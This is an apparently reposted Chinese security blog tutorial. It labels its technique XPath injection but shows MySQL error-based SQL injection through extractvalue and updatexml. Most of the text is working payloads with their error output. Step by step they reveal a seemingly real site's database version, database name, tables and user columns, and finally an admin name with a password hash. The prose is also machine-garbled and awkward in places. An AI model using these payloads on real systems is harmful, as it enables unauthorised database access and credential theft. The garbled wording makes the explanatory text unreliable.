最近整理了一些奇安信&华为大佬的课件资料+大厂口试课题,想要的可以私信自取,无偿赠予给粉丝朋友~
概述
XPath注入攻击是指利用XPath解析器的疏松输入和容错特性,能够在URL、表单或其它信息上附带恶意的XPath 查询代码,以得到权限信息的访问权并变动这些信息。
XPath注入攻击是针对Web做事运用新的攻击方法,它许可攻击者在事先不知道XPath查询干系知识的情形下,通过XPath查询得到一个XML文档的完全内容。

首先我们可以通过测试“ - ”和“ ' ”字符来判断网站中是否存在XPath注入点,如下所示:
sitio/parametro.php?id=1 --> sitio/parametro.php?id=-1sitio/parametro.php?id=1 --> sitio/parametro.php?id=1'
从上图我们可以看到,在参数值前添加“ - ”字符返回非常,表明该网站存在注入漏洞。接下来我们将重点关注extractvalue和updatexml,通过这两个函数完成报错注入。
ExtractValue函数接管两个字符串参数,一个XML标记片段xml_frag和一个XPath表达式 xpath_expr(也称为定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。
Updatexml函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分更换为xml_target新的XML片段new_xml ,然后返回变动的XML。xml_target更换的部分 与xpath_expr用户供应的XPath表达式匹配。如果xpath_expr未找到匹配的表达式 ,或者找到多个匹配项,则该函数返回原始xml_targetXML片段。所有三个参数都该当是字符串。
数据库版本利用以下Paylaod获取数据库版本:
-49+and extractvalue(0x0a,concat(0x0a,(select version())))-49+and updatexml(null,concat(0x0a,(select version())),null)
如上图所示,我们可以看到在PHP缺点下涌现的dXpath缺点中了包含我们要求的信息,示例中返回的数据库版本为 XPATH syntax error: ' 5.7.34'
数据库名称利用以下Paylaod获取数据库名称:
+and extractvalue(0x0a,concat(0x0a,(select database())))+and updatexml(null,concat(0x0a,(select database())),null)
如上图所示,在缺点中显示了数据库的名称XPATH syntax error: ' stepae_stepliv'
数据库表名利用以下Paylaod获取数据库表名:
+and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))+and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),null)
在上图中我们可以看到结果。请把稳,上诉Paylaod末了利用的是“limit 0,1”,这是由于xpath最多只许可显示1行。
多亏了“limit 0,1”,我们可以获取更多的数据,如下所示:
and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),null) --> XPATH syntax error: ' accesslevel'and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 1,1)),null) --> XPATH syntax error: ' logintype'and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 2,1)),null) --> XPATH syntax error: ' menu'and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 3,1)),null) --> XPATH syntax error: ' menuaccess'and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 4,1)),null) --> XPATH syntax error: ' payments'
按个考试测验后,终极我们找到了想要的“user”数据库表,如下所示:
and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 36,1)),null)XPATH syntax error: ' user'
数据库列名
表名已经出来了,接下来利用以下Paylaod获取“user”数据库表所包含的字段:
+and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name= limit 0,1)))+and updatexml(null,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name= limit 0,1)),null)
我们将十六进制编码的表名称放在hex. example中,如下所示:
user = 0x75736572+and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 limit 0,1)))
在“user”表中具有以下字段:
+and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 limit 0,1))) ---> XPATH syntax error: ' id'+and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 limit 1,1))) ---> XPATH syntax error: ' name'+and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 limit 2,1))) ---> XPATH syntax error: ' password'+and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 limit 3,1))) ---> XPATH syntax error: ' email'+and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 limit 4,1))) ---> XPATH syntax error: ' accesslevel'
字段已经出来了。接下来,我们利用以下Paylaod获取“user”表中password字段的内容:
and extractvalue(0x0a,concat(0x0a,(select concat(name,'::::',password) from user limit 0,1)))
返回的结果如下所示:
XPATH syntax error: ' Super Admin::::dc8ced213373d2d3'
XPath注入就到这里结束了。
文章来源 :SecTr安全团队
版权申明:内容来源网络,版权归原创者所有。除非无法确认,都会标明作者及出处,如有侵权,烦请奉告,我们会立即删除并报歉!